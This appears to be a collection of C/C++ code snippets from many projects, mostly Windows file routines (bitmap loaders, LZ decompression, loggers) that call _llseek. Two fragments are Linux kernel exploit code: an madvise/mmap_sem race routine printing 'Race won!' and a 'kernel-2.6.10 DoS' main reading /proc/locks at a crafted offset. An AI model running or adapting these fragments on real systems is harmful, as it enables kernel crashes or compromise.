// child close sempahore & sleep int start_child(void *arg) { // unlock parent & close semaphore go[0]=0; madvise(file, csize, MADV_DONTNEED); madvise(file, csize, MADV_SEQUENTIAL); gettimeofday(&tv1, NULL); read(pfd, buf, 0); go[0]=1; r = madvise(file, csize, MADV_WILLNEED); if(r) fatal("madvise"); // parent blocked on mmap_sem? GOOD! if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)<0 ) { r = _llseek(pfd, 0x7fffffff, 0xffffffff, &off, SEEK_SET); if( r == -1 ) fatal("lseek"); printf("\n[+] Race won!"); fflush(stdout); go[0]=2; } else { printf("\n[-] Race lost %d, use another file!\n", go[1]); fflush(stdout); kill(getppid(), SIGTERM); } _exit(1); return 0; }
void InsertFile (LPSTR name) { long len; LPSTR lp; HGLOBAL hMem; HFILE hFil; if (hFil=_lopen(name,OF_READ)) { len=_llseek(hFil,0,SEEK_END); _llseek(hFil,0,SEEK_SET); if ((len+1)<32000l) { if (hMem=GlobalAlloc(GMEM_MOVEABLE|GMEM_SHARE,len+1)) { lp=GlobalLock(hMem); _lread(hFil,lp,(int)len); *(lp+len)=0; GlobalUnlock(hMem); if (OpenClipboard(hwndFrame)) { SetClipboardData(CF_TEXT,hMem); CloseClipboard(); EditPaste(GetActiveEditWindow(hwndMDIClient)); } } } _lclose(hFil); } }
// Liest Dateiheader und Farbtabelle im DIBformat ein HBITMAP CBildObjekt :: ReadDIBitmapInfo (unsigned int fh) { BITMAPFILEHEADER bf; BITMAPINFOHEADER bi; unsigned int iNumColors = 0; HBITMAP hBI = NULL; // Farbtabelle - HANDLE BITMAPINFOHEADER *lpBI = NULL; RGBQUAD *lpRGB; // Farbtabelle ULONG dwOffset; // Dateiposition if (fh == -1) return NULL; // ungültiges Dateihandle // Dateiheader (BITMAPFILEHEADER) lesen dwOffset = _llseek (fh, 0L, SEEK_CUR); if (_hread (fh, &bf, sizeof(bf)) != sizeof(bf)) return NULL; // Not a DIB ? if (!ISDIB (bf.bfType)) return NULL; // BitMapHeader (BITMAPINFOHEADER) lesen if (_hread (fh, &bi, sizeof(bi)) != sizeof(bi)) return NULL; // not a DIB iNumColors = DIBNumColors ((BITMAPINFOHEADER *)&bi); if (bi.biSize != sizeof(BITMAPINFOHEADER)) return NULL; // falsches Datenformat // Defaultgrößen setzen if (bi.biSizeImage == 0) bi.biSizeImage = WIDTHBYTES ((ULONG)bi.biWidth * bi.biBitCount) *bi.biHeight; if (bi.biClrUsed == 0) bi.biClrUsed = iNumColors; // Speicher für BitMap und Farbtabelle anfordern hBI = (HBITMAP)GlobalAlloc (GHND, (ULONG)bi.biSize + iNumColors * sizeof(RGBQUAD)); if (!hBI) return NULL; lpBI = (BITMAPINFOHEADER *)GlobalLock (hBI); *lpBI = bi; lpRGB = (RGBQUAD *)((char *)lpBI + bi.biSize); // Farbtabelle einlesen if (iNumColors) _hread (fh, lpRGB, iNumColors * sizeof(RGBQUAD)); // an Anfang der BitMap positionieren if (bf.bfOffBits != 0) _llseek (fh, dwOffset + bf.bfOffBits, SEEK_SET); m_dim = CSize(bi.biWidth, bi.biHeight); // Speicher wieder freigeben GlobalUnlock (hBI); return hBI; }
static HMETAFILE GetPlaceableMetaFile( HWND hwnd, LPCSTR szFileName ) { LPBYTE lpData; METAHEADER mfHeader; APMFILEHEADER APMHeader; HFILE fh; HMETAFILE hmf; WORD checksum, *p; HDC hdc; int i; if( (fh = _lopen( szFileName, OF_READ ) ) == HFILE_ERROR ) return 0; _llseek(fh, 0, 0); if (!_lread(fh, (LPSTR)&APMHeader, sizeof(APMFILEHEADER))) return 0; _llseek(fh, sizeof(APMFILEHEADER), 0); checksum = 0; p = (WORD *) &APMHeader; for(i=0; i<10; i++) checksum ^= *p++; if (checksum != APMHeader.checksum) { char msg[128]; sprintf(msg, "Computed checksum %04x != stored checksum %04x\n", checksum, APMHeader.checksum); MessageBox(hwnd, msg, "Checksum failed", MB_OK); return 0; } if (!_lread(fh, (LPSTR)&mfHeader, sizeof(METAHEADER))) return 0; if (!(lpData = GlobalAlloc(GPTR, (mfHeader.mtSize * 2L)))) return 0; _llseek(fh, sizeof(APMFILEHEADER), 0); if (!_lread(fh, lpData, (UINT)(mfHeader.mtSize * 2L))) { GlobalFree((HGLOBAL)lpData); _lclose(fh); return 0; } _lclose(fh); if (!(hmf = SetMetaFileBitsEx(mfHeader.mtSize*2, lpData))) return 0; width = APMHeader.bbox.Right - APMHeader.bbox.Left; height = APMHeader.bbox.Bottom - APMHeader.bbox.Top; /* printf("Ok! width %d height %d inch %d\n", width, height, APMHeader.inch); */ hdc = GetDC(hwnd); width = width * GetDeviceCaps(hdc, LOGPIXELSX)/APMHeader.inch; height = height * GetDeviceCaps(hdc,LOGPIXELSY)/APMHeader.inch; ReleaseDC(hwnd, hdc); deltax = 0; deltay = 0 ; return hmf; }
LPVOID LoadFile(LPCTSTR szFile, DWORD * pFileLength) { LPVOID pFile; HANDLE hFile; HANDLE h; DWORD FileLength; #ifdef WIN32 hFile = CreateFile(szFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) return 0; FileLength = (LONG)GetFileSize(hFile, NULL); if (pFileLength) *pFileLength = FileLength ; h = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); CloseHandle(hFile); if (h == INVALID_HANDLE_VALUE) return 0; pFile = MapViewOfFile(h, FILE_MAP_READ, 0, 0, 0); CloseHandle(h); if (pFile == NULL) return 0; #else hFile = (HANDLE)_lopen(szFile, OF_READ); if (hFile == (HANDLE)-1) return 0; FileLength = _llseek((int)hFile, 0, SEEK_END); _llseek((int)hFile, 0, SEEK_SET); pFile = GlobalAllocPtr(GHND, FileLength); if (pFile && _hread((int)hFile, pFile, FileLength) != FileLength) { GlobalFreePtr(pFile); pFile = NULL; } _lclose((int)hFile); #endif return pFile; }
BOOL ReadObjHeader(LPSTR lpFileName, LPINT lpDataType, LPTIFFHEADER lpHeader ) /************************************************************************/ { int ifh; LPLONG lngptr; LPWORD shtptr; int nObjects; WORD wBytes, wByteOrder, wVersion; long lObjSize, lObjStart; LONG lDataOffset; BOOL bRet = FALSE; if ( (ifh = _lopen(lpFileName, OF_READ)) < 0) { Message( IDS_EOPEN, lpFileName ); return( FALSE ); } // Read in header info wBytes = OBJ_HDR_SIZE; if ( _lread(ifh, LineBuffer[0], wBytes) != wBytes ) goto BadRead; shtptr = (LPWORD)LineBuffer[0]; wByteOrder = GetNextWord(&shtptr); /* byte order is LSB,MSB */ wVersion = GetNextWord(&shtptr); /* Version Number */ nObjects = GetNextWord(&shtptr); /* Number of Objects */ lngptr = (LPLONG)shtptr; lObjSize = GetNextLong(&lngptr); /* size of object data */ lObjStart = GetNextLong(&lngptr); /* start of object data */ _llseek (ifh, lObjStart, 0); wBytes = (WORD)lObjSize; if ( _lread(ifh, LineBuffer[0], wBytes) != wBytes ) goto BadRead; shtptr = (LPWORD)LineBuffer[0]; shtptr += 8; // Obj data shtptr++; // Data type shtptr += 5; // lpOffsets before lDataOffset lngptr = (LPLONG)shtptr; lDataOffset = *lngptr; _llseek (ifh, lDataOffset, 0); bRet = ReadTiffHeader( ifh, lpFileName, -1, lpDataType, NO/*bReadOnly*/, lpHeader ); BadRead: _lclose(ifh); return( bRet ); }
/*********************************************************************** * DESKTOP_LoadBitmap * * Load a bitmap from a file. Used by SetDeskWallPaper(). */ static HBITMAP DESKTOP_LoadBitmap( HDC hdc, const char *filename ) { BITMAPFILEHEADER *fileHeader; BITMAPINFO *bitmapInfo; HBITMAP hbitmap; HFILE file; LPSTR buffer; LONG size; /* Read all the file into memory */ if ((file = _lopen( filename, OF_READ )) == HFILE_ERROR) { UINT len = GetWindowsDirectoryA( NULL, 0 ); if (!(buffer = HeapAlloc( GetProcessHeap(), 0, len + strlen(filename) + 2 ))) return 0; GetWindowsDirectoryA( buffer, len + 1 ); strcat( buffer, "\\" ); strcat( buffer, filename ); file = _lopen( buffer, OF_READ ); HeapFree( GetProcessHeap(), 0, buffer ); } if (file == HFILE_ERROR) return 0; size = _llseek( file, 0, 2 ); if (!(buffer = HeapAlloc( GetProcessHeap(), 0, size ))) { _lclose( file ); return 0; } _llseek( file, 0, 0 ); size = _lread( file, buffer, size ); _lclose( file ); fileHeader = (BITMAPFILEHEADER *)buffer; bitmapInfo = (BITMAPINFO *)(buffer + sizeof(BITMAPFILEHEADER)); /* Check header content */ if ((fileHeader->bfType != 0x4d42) || (size < fileHeader->bfSize)) { HeapFree( GetProcessHeap(), 0, buffer ); return 0; } hbitmap = CreateDIBitmap( hdc, &bitmapInfo->bmiHeader, CBM_INIT, buffer + fileHeader->bfOffBits, bitmapInfo, DIB_RGB_COLORS ); HeapFree( GetProcessHeap(), 0, buffer ); return hbitmap; }
long FileSeek ( LPFILEBUF ofd, /* control block */ long offset, int whence) /* 0 - start, 1 - current, 2 - end */ { long lret; FileFlush (ofd); /* Adjust offset for seek_from_current to take buffering into acount */ if (whence == 1) { offset += ofd->pos; whence = 0; } lret = _llseek (ofd->fh, offset, whence); if (lret == -1) ofd->err = -1; else { ofd->pos = lret; ofd->valid = 0; } return (lret); }
int image_read (LPTR ptr, unsigned size_of_ptr, int count, int ifh) /************************************************************************/ { long req_bytes, strip_start, strip_end, strip_pos; long bytes_read, bytes_in_strip, bytes_to_read; int k; if (Strips.StripsPerImage == 1) return (_lread (ifh, ptr, size_of_ptr * count)); else { req_bytes = (long)size_of_ptr * (long)count; strip_start = 0; for (k = 0; k < Strips.StripsPerImage; k++) { strip_end = strip_start + Strips.StripByteCounts[k] - 1; if ((Strips.ImagePos >= strip_start) && (Strips.ImagePos <= strip_end)) { strip_pos = Strips.StripOffsets[k] + (Strips.ImagePos - strip_start); _llseek (ifh, strip_pos, 0); bytes_in_strip = strip_end - Strips.ImagePos + 1; if (bytes_in_strip > req_bytes) bytes_to_read = req_bytes; else bytes_to_read = bytes_in_strip; bytes_read = _lread (ifh, ptr, bytes_to_read); Strips.ImagePos += bytes_read; return (bytes_read / size_of_ptr); } strip_start = strip_end + 1; } } return (-1); }
/* internal function, reads lzheader * returns BADINHANDLE for non filedescriptors * return 0 for file not compressed using LZ * return UNKNOWNALG for unknown algorithm * returns lzfileheader in *head */ static INT read_header(HFILE fd,struct lzfileheader *head) { BYTE buf[LZ_HEADER_LEN]; if (_llseek(fd,0,SEEK_SET)==-1) return LZERROR_BADINHANDLE; /* We can't directly read the lzfileheader struct due to * structure element alignment */ if (_lread(fd,buf,LZ_HEADER_LEN)<LZ_HEADER_LEN) return 0; memcpy(head->magic,buf,LZ_MAGIC_LEN); memcpy(&(head->compressiontype),buf+LZ_MAGIC_LEN,1); memcpy(&(head->lastchar),buf+LZ_MAGIC_LEN+1,1); /* FIXME: consider endianness on non-intel architectures */ memcpy(&(head->reallength),buf+LZ_MAGIC_LEN+2,4); if (memcmp(head->magic,LZMagic,LZ_MAGIC_LEN)) return 0; if (head->compressiontype!='A') return LZERROR_UNKNOWNALG; return 1; }
VOID AutoTest(void){ static OPENFILENAME ofn; static char szFilename[80]; char szT[80]; int i, hfile; Sleep (5000); gfAll = TRUE; for (gibmi = 0; gibmi < gcbmi; gibmi++) { gabmi[gibmi].pfnBenchmark(gabmi[gibmi].cIterations); } hfile = _lopen("usrbench.out", OF_READWRITE); //try to open file if (hfile == -1){ hfile = _lcreat("usrbench.out", 0); //create it if it does not exist if (hfile == -1) return; } else _llseek(hfile, 0L, 2); // go to end of file for append WriteResults(hfile); _lclose(hfile); }
/*********************************************************************** * LZSeek (KERNEL32.@) */ LONG WINAPI LZSeek( HFILE fd, LONG off, INT type ) { struct lzstate *lzs; LONG newwanted; TRACE("(%d,%d,%d)\n",fd,off,type); /* not compressed? just use normal _llseek() */ if (!(lzs = GET_LZ_STATE(fd))) return _llseek(fd,off,type); newwanted = lzs->realwanted; switch (type) { case 1: /* SEEK_CUR */ newwanted += off; break; case 2: /* SEEK_END */ newwanted = lzs->reallength-off; break; default:/* SEEK_SET */ newwanted = off; break; } if (newwanted>lzs->reallength) return LZERROR_BADVALUE; if (newwanted<0) return LZERROR_BADVALUE; lzs->realwanted = newwanted; return newwanted; }
void sLogMessage(char msg[]) { #ifdef LOG_ENABLED #ifdef WIN32 HFILE file; OFSTRUCT of; if (OpenFile("mm_sfwcam.log",&of,OF_EXIST)==HFILE_ERROR) file = OpenFile("mm_sfwcam.log",&of,OF_CREATE|OF_WRITE); else file = OpenFile("mm_sfwcam.log",&of,OF_WRITE); _llseek(file,0,FILE_END); _lwrite(file,msg,lstrlen(msg)); _lclose(file); #else FILE *fp; fp = fopen("mm_sfwcam.log", "a+"); if (fp != NULL) { fprintf(fp, "%s\n", msg); fclose(fp); } #endif #endif return; }
int FileRead ( LPFILEBUF ifd, /* control block */ LPTR buf, /* buffer containing data */ int len) /* number of bytes to write */ { int i; /* null read? */ if (len == 0) return (0); /* no read if error condition set */ if (ifd->err) return (-1); /* is buffer empty? */ if (ifd->valid == 0) { ifd->valid = _lread (ifd->fh, ifd->buf, ifd->bsiz); if (ifd->valid == -1) { ifd->err = -1; return (-1); } } /* is all data in buffer? */ if (ifd->offset + len < ifd->valid) { for (i = 0; i < len; i++) *buf++ = ifd->buf [ifd->offset++]; return (len); } /* give caller the data that is in the buffer */ i = len; while (ifd->offset < ifd->valid) { *buf++ = ifd->buf [ifd->offset++]; i--; } /* indicate that all data has been read and buffer is empty */ ifd->valid = 0; ifd->offset = 0; /* just read the rest of the data directly into the callers buffer */ if (_lread (ifd->fh, buf, i) != i) { ifd->err = -1; return (-1); } /* set byte offset for first byte in buffer */ ifd->pos = _llseek (ifd->fh, 0L, 1); return (len); }
int64 FileDescriptorDataIO :: GetPosition() const { int fd = _fd.GetFileDescriptor(); if (fd >= 0) { #ifdef MUSCLE_USE_LLSEEK loff_t spot; return (_llseek(fd, 0, 0, &spot, SEEK_CUR) == 0) ? spot : -1; #else return lseek(fd, 0, SEEK_CUR); #endif } return -1; }
void dbgv( /***********************************************************************/ LPSTR lpFormat, LPTR lpArguments) { char szBuffer[512]; static int hFile, debug; static BOOL bReopen; if ( !debug ) // First time in... debug = GetDefaultInt( "debug", -1 ); if ( debug <= 0 ) return; if ( lpFormat ) { if ( !hFile ) { lstrcpy( szBuffer, Control.ProgHome ); lstrcat( szBuffer, "DEBUG.TXT" ); if ( bReopen ) { if ( (hFile = _lopen( szBuffer, OF_WRITE )) < 0 ) hFile = 0; else _llseek( hFile, 0L, 2 ); } else { if ( (hFile = _lcreat( szBuffer, 0 )) < 0 ) hFile = 0; } } if ( hFile ) { wvsprintf( szBuffer, lpFormat, (LPSTR)lpArguments ); lstrcat(szBuffer, "\r\n"); _lwrite( hFile, szBuffer, lstrlen(szBuffer) ); if (debug > 1) OutputDebugString(szBuffer); } } else if ( hFile ) { lstrcpy( szBuffer, "---------- CLOSED ----------\r\n" ); _lwrite( hFile, szBuffer, lstrlen(szBuffer) ); _lclose( hFile ); bReopen = YES; hFile = 0; } }
static BOOL IsDemo( LPSTR lpProgram ) /***********************************************************************/ { #ifndef _MAC int i; int fp; char buf[32]; #ifndef FileOpen OFSTRUCT ofstruct; #endif #define DEMO "xgm" #define PROTECT "lartsa" #define SZPROTECT 6 #define SYSCHAR (BYTE far *)0xffff0000 #ifdef FileOpen if ( ( fp = FileOpen( lpProgram, FO_READ ) ) == FILE_HANDLE_INVALID ) return( 0 ); /* something is wierd */ if ( FileSeek( fp, -(long)sizeof(buf), SEEK_END ) < 0 ) *buf = '\0'; /* goto the bottom bytes */ if ( FileRead( fp, buf, sizeof(buf) ) != sizeof(buf) ) *buf = '\0'; /* something is wierd */ FileClose( fp ); #else if ( ( fp = OpenFile( lpProgram, &ofstruct, OF_READ ) ) < 0 ) return( 0 ); /* something is wierd */ if ( _llseek( fp, -(long)sizeof(buf), SEEK_END ) < 0 ) *buf = '\0'; /* goto the bottom bytes */ if ( _lread( fp, buf, sizeof(buf) ) != sizeof(buf) ) *buf = '\0'; /* something is wierd */ _lclose( fp ); #endif // FileOpen for ( i=0; i<sizeof(buf)-1; i++ ) { // Zap any non-ascii characters if ( buf[i] < 'a' || buf[i] > 'z' ) buf[i] = '.'; } buf[i] = '\0'; if ( lstrfind( buf, DEMO ) ) // Is it a crippled demo? return( IDS_CRIPPLED ); #endif // _MAC return( FALSE ); }
int FileWrite ( LPFILEBUF ofd, /* control block */ LPTR buf, /* buffer containing data */ int len) /* number of bytes to write */ { int i; /* null write? */ if (len == 0) return (0); /* no write if error condition set */ if (ofd->err) return (-1); /* will all data will fit in buffer? */ if (ofd->offset + len < ofd->bsiz) { for (i = 0; i < len; i++) ofd->buf [ofd->offset++] = *buf++; return (len); } /* all data won't fit, flush the buffer */ if (FileFlush (ofd) == -1) return (-1); /* will all data now will fit in buffer? */ if (ofd->offset + len < ofd->bsiz) { for (i = 0; i < len; i++) ofd->buf [ofd->offset++] = *buf++; return (len); } /* just write the data directly from the callers buffer */ if (_lwrite (ofd->fh, (LPSTR)buf, len) != len) { ofd->err = -1; return (-1); } /* set byte offset for first byte in buffer */ ofd->pos = _llseek (ofd->fh, 0L, 1); return (len); }
LONG DIAMONDAPI SpdFdiSeek( IN int Handle, IN long Distance, IN int SeekType ) /*++ Routine Description: Callback used by FDICopy to seek files. Arguments: Handle - handle of file to close. Distance - supplies distance to seek. Interpretation of this parameter depends on the value of SeekType. SeekType - supplies a value indicating how Distance is to be interpreted; one of SEEK_SET, SEEK_CUR, SEEK_END. Return Value: New file offset or -1 if an error occurs. --*/ { LONG rc; rc = _llseek((HFILE)Handle,Distance,SeekType); if(rc == HFILE_ERROR) { DiamondLastIoError = LZERROR_BADINHANDLE; rc = -1L; } return(rc); }
int main(int argc, char *argv[]){ int count, fd, i, fv; void *mv; char *buf1, *buf2; loff_t lr; int nm1; printf("\t\tkernel-2.6.10 DoS by ChoiX [Unl0ck Team]\n"); printf("[--]create files(it can take a few minutes)..."); nm1 = 5; while(count--){ if(!fork()){ createfile(); } } sleep(100); printf("OK\n"); printf("[--]start exploiting..."); system("sync"); fd=open("/proc/locks", O_RDONLY); if(fd < 0){ printf("ERROR\n"); perror("open()"); } buf1 = malloc(1024*1024*8); buf2 = malloc(1024*1024*8); if(_llseek(fd,42,SIZE,&lr,SEEK_SET) == -1){ printf("ERROR\n"); printf("llseek()"); } i=read(fd,buf2, SIZE); perror("read"); printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,buf2); while(42); return 42; }
void dbglog ( char* szFormat ... ) { va_list ap; char str [100000]; va_start ( ap, szFormat ); vsprintf ( str, szFormat, ap ); strcat (str, "\r\n"); va_end (ap); int file = _lopen ( DBGLOG_FILENAME, OF_WRITE ); if ( file == -1 ) { file = _lcreat ( DBGLOG_FILENAME, 0 ); } _llseek ( file, 0, FILE_END ); _lwrite ( file, str, lstrlen (str) ); FlushFileBuffers ((HANDLE)file); _lclose ( file ); }
/*********************************************************************** * LZInit (KERNEL32.@) * * initializes internal decompression buffers, returns lzfiledescriptor. * (return value the same as hfSrc, if hfSrc is not compressed) * on failure, returns error code <0 * lzfiledescriptors range from 0x400 to 0x410 (only 16 open files per process) * * since _llseek uses the same types as libc.lseek, we just use the macros of * libc */ HFILE WINAPI LZInit( HFILE hfSrc ) { struct lzfileheader head; struct lzstate *lzs; int i, ret; TRACE("(%d)\n",hfSrc); ret=read_header(hfSrc,&head); if (ret<=0) { _llseek(hfSrc,0,SEEK_SET); return ret?ret:hfSrc; } for (i = 0; i < MAX_LZSTATES; i++) if (!lzstates[i]) break; if (i == MAX_LZSTATES) return LZERROR_GLOBALLOC; lzstates[i] = lzs = HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(*lzs) ); if(lzs == NULL) return LZERROR_GLOBALLOC; lzs->realfd = hfSrc; lzs->lastchar = head.lastchar; lzs->reallength = head.reallength; lzs->get = HeapAlloc( GetProcessHeap(), 0, GETLEN ); lzs->getlen = 0; lzs->getcur = 0; if(lzs->get == NULL) { HeapFree(GetProcessHeap(), 0, lzs); lzstates[i] = NULL; return LZERROR_GLOBALLOC; } /* Yes, preinitialize with spaces */ memset(lzs->table,' ',LZ_TABLE_SIZE); /* Yes, start 16 byte from the END of the table */ lzs->curtabent = 0xff0; return LZ_MIN_HANDLE + i; }
void CTWainHelper::LogMessage(char msg[]) { #ifdef _DEBUG HFILE file = NULL; OFSTRUCT of; memset(&of, 0, sizeof(OFSTRUCT)); if (OpenFile("c:\\twainapp.log", &of, OF_EXIST) == HFILE_ERROR) { //create if no exist file = OpenFile("c:\\twainapp.log", &of, OF_CREATE|OF_WRITE|OF_SHARE_DENY_NONE); } else { file = OpenFile("c:\\twainapp.log", &of, OF_WRITE|OF_SHARE_DENY_NONE); } //附加模式 if (_llseek(file,0,FILE_END)==-1) { OutputDebugString("LogMessage _llseek failed\n"); } if (_lwrite(file,msg,lstrlen(msg))==-1) { OutputDebugString("LogMessage _lwrite failed\n"); } if (_lclose(file)==-1) { OutputDebugString("LogMessage _lclose failed\n"); } #endif return; }
/*------------------------------------------- save log data ---------------------------------------------*/ void Log(const char* msg) { SYSTEMTIME st; char s[160]; int count, index; GetLocalTime(&st); wsprintf(s, "%02d/%02d %02d:%02d:%02d ", st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); strcat(s, msg); // save to listbox count = SendMessage(hwndSNTPLog, LB_GETCOUNT, 0, 0); if(count > 100) SendMessage(hwndSNTPLog, LB_DELETESTRING, 0, 0); index = SendMessage(hwndSNTPLog, LB_ADDSTRING, 0, (LPARAM)s); SendMessage(hwndSNTPLog, LB_SETCURSEL, index, 0); // save to file if(GetMyRegLong("SNTP", "SaveLog", TRUE)) { HFILE hf; char fname[MAX_PATH]; strcpy(fname, g_mydir); add_title(fname, "SNTP.txt"); hf = _lopen(fname, OF_WRITE); if(hf == HFILE_ERROR) hf = _lcreat(fname, 0); if(hf == HFILE_ERROR) return; _llseek(hf, 0, 2); _lwrite(hf, s, strlen(s)); _lwrite(hf, "\x0d\x0a", 2); _lclose(hf); } }
static int AccessResourceBin(HINSTANCE hInst, HRSRC hRes) { NAMEINFO *lpResInfo; MODULEINFO *modinfo = NULL; HFILE fd; HMODULE hModule; MEMORYINFO *lpMemory = NULL; OFSTRUCT of; char lpszFileName[_MAX_PATH]; if (!(lpMemory = GETHANDLEINFO(hRes))) return 0; if (!(lpResInfo = (LPNAMEINFO)lpMemory->lpCore)) return 0; if (!(modinfo = GETMODULEINFO(hInst))) { hModule = GetModuleFromInstance(hInst); if (!(modinfo = GETMODULEINFO(hModule))) { RELEASEHANDLEINFO(lpMemory); return 0; } } xdoscall(XDOS_GETDOSNAME,0, (void *) lpszFileName,(void *) modinfo->lpFileName); if ((fd = (int)OpenFile(lpszFileName,&of,OF_READ)) == HFILE_ERROR || !lpResInfo->rcsoffset) return AccessResource(hInst,hRes); _llseek(fd,lpResInfo->rcsoffset,0); RELEASEHANDLEINFO(lpMemory); RELEASEMODULEINFO(modinfo); return (int)fd; }
//--------------------------------------------------------------------------- // MainWndProc // // Main window procedure // // RETURNS: Per Windows Convention.... //--------------------------------------------------------------------------- LONG APIENTRY MainWndProc (HWND hwnd, WORD message, WPARAM wParam, LPARAM lParam) { FARPROC lpProcAbout; switch (message) { case WM_CREATE: { RECT r; // Create an edit window for the client area //--------------------------------------------------------------- GetClientRect (hwnd, &r); hwndEdit = CreateWindow ("RBEdit", NULL, //hwndEdit = CreateWindow ("edit", NULL, // ES_MULTILINE | WS_BORDER | WS_CHILD | WS_CLIPCHILDREN | WS_VSCROLL | WS_HSCROLL, 0, 20, r.right, r.bottom-20, hwnd, 0xCAC, hInst, NULL); ShowWindow (hwndEdit, SW_SHOWNORMAL); fNotify = FALSE; break; } case WM_SIZE: // Move the edit window to fit the new client area //--------------------------------------------------------------- if (IsWindow (hwndEdit)) MoveWindow (hwndEdit, 0, 20, LOWORD(lParam), HIWORD(lParam)-20, 1); break; case WM_PAINT: { HDC hdc; PAINTSTRUCT ps; hdc = BeginPaint (hwnd, &ps); PaintStatus (hwnd, hdc); EndPaint (hwnd, &ps); break; } case WM_SETFOCUS: if (IsWindow (hwndEdit)) SetFocus (hwndEdit); break; case WM_SYSCOLORCHANGE: SendMessage (hwndEdit, message, wParam, lParam); break; case WM_COMMAND: switch (GET_WM_COMMAND_ID (wParam, lParam)) { case IDM_ABOUT: lpProcAbout = MakeProcInstance ((FARPROC)About, hInst); DialogBox (hInst, "AboutBox", hwnd, (WNDPROC)lpProcAbout); FreeProcInstance (lpProcAbout); break; case IDM_CRASH: { INT l; l = (INT)SendMessage (hwndEdit, EM_LINELENGTH, 0, -1L); SendMessage (hwndEdit, EM_SETSELXY, -1, MAKELONG (l, l+3)); break; } case IDM_UNDO: if (!SendMessage (hwndEdit, EM_UNDO, 0, 0L)) MessageBeep (0); break; case IDM_SETRO: SendMessage (hwndEdit, EM_SETREADONLY, 1, 0L); break; case IDM_SETRW: SendMessage (hwndEdit, EM_SETREADONLY, 0, 0L); break; case IDM_SETFONT: SendMessage (hwndEdit, EM_SETFONT, (WORD)GetStockObject (ANSI_FIXED_FONT), 0L); break; case IDM_CHGATTR: SendMessage (hwndEdit, EM_SETLINEATTR, -1, oldattr++); if (oldattr == 4) oldattr = 0; break; case IDM_NOTIFY: fNotify = !fNotify; SendMessage (hwndEdit, EM_SETNOTIFY, fNotify, 0L); CheckMenuItem (GetMenu (hwnd), IDM_NOTIFY, fNotify ? MF_CHECKED : MF_UNCHECKED); break; case IDM_LOADFILE: { HANDLE hText; LPSTR lpText; INT file; LONG size; DWORD l1, l2; CHAR buf[80]; l1 = GetWindowLong (hwndEdit, 0); l2 = GetWindowLong (hwndEdit, 4); wsprintf (buf, "HSTATE: %X LPSTATE: %x\r\n", l1, l2); Out (buf); hText = GlobalAlloc (GHND, 65536); if (!hText) break; lpText = GlobalLock (hText); l1 = GetWindowLong (hwndEdit, 0); l2 = GetWindowLong (hwndEdit, 4); wsprintf (buf, "HSTATE: %X LPSTATE: %x\r\n", l1, l2); Out (buf); file = _lopen ("edittest.txt", OF_READ); if (file != -1) { size = _llseek (file, 0, 2); if (size > 0x0000ffff) { size = 0xfe00; Alert (hwnd, "File truncated!"); } _llseek(file, 0, 0); lpText[_lread(file, lpText, (UINT)size)] = 0; l1 = GetWindowLong (hwndEdit, 0); l2 = GetWindowLong (hwndEdit, 4); wsprintf (buf, "HSTATE: %X LPSTATE: %x\r\n", l1, l2); Out (buf); _lclose(file); Out ("Sending SETTEXT... "); l1 = GetWindowLong (hwndEdit, 0); l2 = GetWindowLong (hwndEdit, 4); wsprintf (buf, "HSTATE: %X LPSTATE: %x\r\n", l1, l2); Out (buf); file = (INT)SendMessage (hwndEdit, EM_RBSETTEXT, 0, (LONG)lpText); wsprintf (buf, "file = %d\r\n", file); Out (buf); if (!file) Alert (hwnd, "SETTEXT Failed!"); } else Alert (hwnd, "EDITTEST.TXT not found..."); GlobalUnlock (hText); GlobalFree (hText); break; } case 0xCAC: // These (had better be) notification codes for the // edit window //------------------------------------------------------- switch (HIWORD (lParam)) { case EN_ERRSPACE: Alert (hwnd, "Out of edit spce"); break; case EN_LINETOOLONG: Alert (hwnd, "Line too long"); break; case EN_LINEWRAPPED: Alert (hwnd, "Line too long -- CR inserted"); break; case EN_SETCURSOR: { HDC hdc; hdc = GetDC (hwnd); PaintStatus (hwnd, hdc); ReleaseDC (hwnd, hdc); break; } default: break; //Alert (hwnd, "Unknown notification code"); } break; default: return (DefWindowProc(hwnd, message, wParam, lParam)); } break; case WM_DESTROY: PostQuitMessage(0); break; default: return (DefWindowProc (hwnd, message, wParam, lParam)); } return (NULL); }
/*-------------------------------------------------- read BMP file and return bitmap handle ----------------------------------------------------*/ HBITMAP ReadBitmap(HWND hwnd, const char* fname, BOOL bTrans) { BITMAPFILEHEADER bmfh; BYTE* pDib; DWORD size; HFILE hf; BITMAPINFOHEADER* pbmih; BYTE* pDIBits; HDC hdc; int index; HBITMAP hBmp; hf = _lopen(fname, OF_READ); if(hf == HFILE_ERROR) return NULL; size = _llseek(hf, 0, 2) - sizeof(BITMAPFILEHEADER); _llseek(hf, 0, 0); if(_lread(hf, (LPSTR)&bmfh, sizeof(BITMAPFILEHEADER)) != sizeof(BITMAPFILEHEADER)) { _lclose(hf); return NULL; } if(bmfh.bfType != *(WORD *)"BM") { _lclose(hf); return NULL; } pDib = malloc(size); if(pDib == NULL) { _lclose (hf); return NULL; } if(_lread(hf, pDib, size) != size) { _lclose(hf); free(pDib); return NULL; } _lclose(hf); pbmih = (BITMAPINFOHEADER*)pDib; // don't support OS/2 format if(pbmih->biSize != sizeof(BITMAPINFOHEADER)) { free(pDib); return NULL; } // don't support RLE compression if(pbmih->biCompression != BI_RGB && pbmih->biCompression != BI_BITFIELDS) { free(pDib); return NULL; } if(pbmih->biCompression == BI_RGB) pDIBits = GetDibBitsAddr(pDib); else pDIBits = pDib + sizeof(BITMAPINFOHEADER) + 3 * sizeof(DWORD); if(bTrans) // pseudo transparency { if(pbmih->biBitCount == 1) index = (*pDIBits & 0x80) >> 7; else if(pbmih->biBitCount == 4) index = (*pDIBits & 0xF0) >> 4; else if(pbmih->biBitCount == 8)
long FAR PASCAL FilSetPos (short sFilHdl, long ulNewPos, unsigned short usPosFlg) { return (_llseek (sFilHdl, ulNewPos, usPosFlg)); }
